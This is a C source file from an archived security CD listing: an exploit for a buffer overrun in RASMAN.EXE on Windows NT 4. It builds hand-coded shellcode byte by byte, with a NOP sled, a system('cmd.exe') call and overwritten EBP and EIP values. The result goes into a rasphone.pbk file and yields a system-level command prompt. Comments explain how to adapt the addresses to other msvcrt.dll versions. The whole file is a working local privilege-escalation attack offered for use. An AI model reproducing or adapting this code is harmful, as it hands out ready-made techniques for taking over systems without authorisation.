home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / rasphone.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  6.0 KB  |  192 lines
  1. /* This program produces a rasphone.pbk file that will cause and exploit a buffer overrun in    */
  2. /* RASMAN.EXE - it will drop the user into a Command Prompt  started by the system.             */
  3. /* It operates by re-writing the EIP and pointing it back into our exploit string which calls   */
  4. /* the system() function exported at address 0x780208C3 by msvcrt.dll (ver 5.00.7303) on        */
  5. /* NT Server 4 (SP3 & 4). Look at the version of msvcrt.dll and change buffer[109] to buffer[112]*/
  6. /* in this code to suit your version. msvcrt.dll is already loaded in memory - it is used by    */
  7. /* RASMAN.exe.  Developed by David Litchfield (mnemonix@globalnet.co.uk )                       */
  8.  
  9. #include <stdio.h>
  10. #include <windows.h>
  11.  
  12. int main (int argc, char *argv[])
  13. {
  14.         FILE *fd;
  15.         int count=0;
  16.         char buffer[1024];
  17.         
  18.         /* Make room for our stack so we are not overwriting anything we haven't */
  19.         /* already overwritten. Fill this space with nops */
  20.         while (count < 37)
  21.                 {
  22.                         buffer[count]=0x90;
  23.                         count ++;
  24.                 }
  25.                 
  26.         /* Our code starts at buffer[37] - we point our EIP to here @ address 0x015DF126 */
  27.         /* We build our own little stack here */
  28.         /* mov esp,ebp */
  29.         buffer[37]=0x8B;
  30.         buffer[38]=0xE5;
  31.  
  32.         /*push ebp*/
  33.         buffer[39]=0x55;
  34.  
  35.         /* mov ebp,esp */
  36.         buffer[40]=0x8B;
  37.         buffer[41]=0xEC;
  38.         /* This completes our negotiation */
  39.  
  40.         /* We need some nulls */
  41.         /* xor edi,edi */
  42.         buffer[42]=0x33;
  43.         buffer[43]=0xFF;
  44.  
  45.         /* Now we begin placing stuff on our stack */
  46.         /* Ignore this NOP */
  47.         buffer[44]=0x90;
  48.         
  49.         /*push edi  */
  50.         buffer[45]=0x57;
  51.  
  52.         /* sub esp,4 */
  53.         buffer[46]=0x83;
  54.         buffer[47]=0xEC;
  55.         buffer[48]=0x04;
  56.  
  57.         /* When the system() function is called you ask it to start a program or command */
  58.         /* eg system("dir c:\\"); would give you a directory listing of the c drive     */
  59.         /* The system () function spawns  whatever is defined as the COMSPEC environment */
  60.         /* variable - usually "c:\winnt\system32\cmd.exe" in NT with a "/c" parameter - in */
  61.         /* other words after running the command the cmd.exe process will exit. However, running */
  62.         /* system ("cmd.exe") will cause the cmd.exe launched by the system function to spawn */
  63.         /* another command prompt - one which won't go away on us. This is what we're going to do here*/
  64.  
  65.         /* write c of cmd.exe to (EBP - 8) which happens to be the ESP */
  66.         /* mov byte ptr [ebp-08h],63h */
  67.         buffer[49]=0xC6;
  68.         buffer[50]=0x45;
  69.         buffer[51]=0xF8;
  70.         buffer[52]=0x63;
  71.  
  72.         /* write the m to (EBP-7)*/
  73.         /* mov byte ptr [ebp-07h],6Dh */
  74.         buffer[53]=0xC6;
  75.         buffer[54]=0x45;
  76.         buffer[55]=0xF9;
  77.         buffer[56]=0x6D;
  78.  
  79.         /* write the d to (EBP-6)*/
  80.         /* mov byte ptr [ebp-06h],64h */
  81.         buffer[57]=0xC6;
  82.         buffer[58]=0x45;
  83.         buffer[59]=0xFA;
  84.         buffer[60]=0x64;
  85.  
  86.         /* write the . to (EBP-5)*/
  87.         /* mov byte ptr [ebp-05h],2Eh */
  88.         buffer[61]=0xC6;
  89.         buffer[62]=0x45;
  90.         buffer[63]=0xFB;
  91.         buffer[64]=0x2E;
  92.  
  93.         /* write the first e to (EBP-4)*/
  94.         /* mov byte ptr [ebp-04h],65h */
  95.         buffer[65]=0xC6;
  96.         buffer[66]=0x45;
  97.         buffer[67]=0xFC;
  98.         buffer[68]=0x65;
  99.  
  100.         /* write the x to (EBP-3)*/
  101.         /* mov byte ptr [ebp-03h],78h */
  102.         buffer[69]=0xC6;
  103.         buffer[70]=0x45;
  104.         buffer[71]=0xFD;
  105.         buffer[72]=0x78;
  106.  
  107.  
  108.         /*write the second e to (EBP-2)*/
  109.         /* mov byte ptr [ebp-02h],65h */
  110.         buffer[73]=0xC6;
  111.         buffer[74]=0x45;
  112.         buffer[75]=0xFE;
  113.         buffer[76]=0x65;
  114.  
  115.  
  116.         /* If the version of msvcrt.dll is 5.00.7303 system is exported at 0x780208C3 */
  117.         /* Use QuickView to get the entry point for system() if you have a different */
  118.         /* version of msvcrt.dll and change these bytes accordingly */
  119.         /* mov eax, 0x780208C3 */
  120.         buffer[77]=0xB8;
  121.         buffer[78]=0xC3;
  122.         buffer[79]=0x08;
  123.         buffer[80]=0x02;
  124.         buffer[81]=0x78;
  125.         
  126.         /* Push this onto the stack */
  127.         /* push eax */
  128.         buffer[82]=0x50;
  129.  
  130.         /* now we load the address of our pointer to the cmd.exe string into EAX */
  131.         /* lea eax,[ebp-08h]*/
  132.         buffer[83]=0x8D;
  133.         buffer[84]=0x45;
  134.         buffer[85]=0xF8;
  135.  
  136.         /* and then push it onto the stack */
  137.         /*push eax*/
  138.         buffer[86]=0x50;
  139.         
  140.         /* now we call our system () function - all going well a command prompt will */
  141.         /* be started, the parent process being rasman.exe                              */
  142.         /*call dword ptr [ebp-0Ch] */
  143.         buffer[87]=0xFF;
  144.         buffer[88]=0x55;
  145.         buffer[89]=0xF4;
  146.  
  147.         /* fill to our EBP with nops */
  148.         count = 90;
  149.         while (count < 291)
  150.                 {
  151.                         buffer[count]=0x90;
  152.                         count ++;
  153.                 }
  154.         
  155.  
  156.  
  157.         /* Re-write EBP */
  158.         buffer[291]=0x24;
  159.         buffer[292]=0xF1;
  160.         buffer[293]=0x5D;
  161.         buffer[294]=0x01;
  162.         
  163.         /* Re-write EIP */
  164.         buffer[295]=0x26;
  165.         buffer[296]=0xF1;
  166.         buffer[297]=0x5D;
  167.         buffer[298]=0x01;
  168.         buffer[299]=0x00;
  169.         buffer[300]=0x00;
  170.  
  171.         /* Print on the screen our exploit string */
  172.         printf("%s", buffer);
  173.         
  174.         /* Open and create a  file called rasphone.pbk */
  175.         fd = fopen("rasphone.pbk", "w");
  176.  
  177.         if(fd == NULL)
  178.                 {
  179.                         printf("Operation failed\n");
  180.                         return 0;
  181.                 }
  182.         
  183.         else
  184.                 {
  185.                         fprintf(fd,"[Internet]\n");
  186.                         fprintf(fd,"Phone Number=");
  187.                         fprintf(fd,"%s",buffer);
  188.                         fprintf(fd,"\n");
  189.                 }
  190. return 0;
  191. }
  192.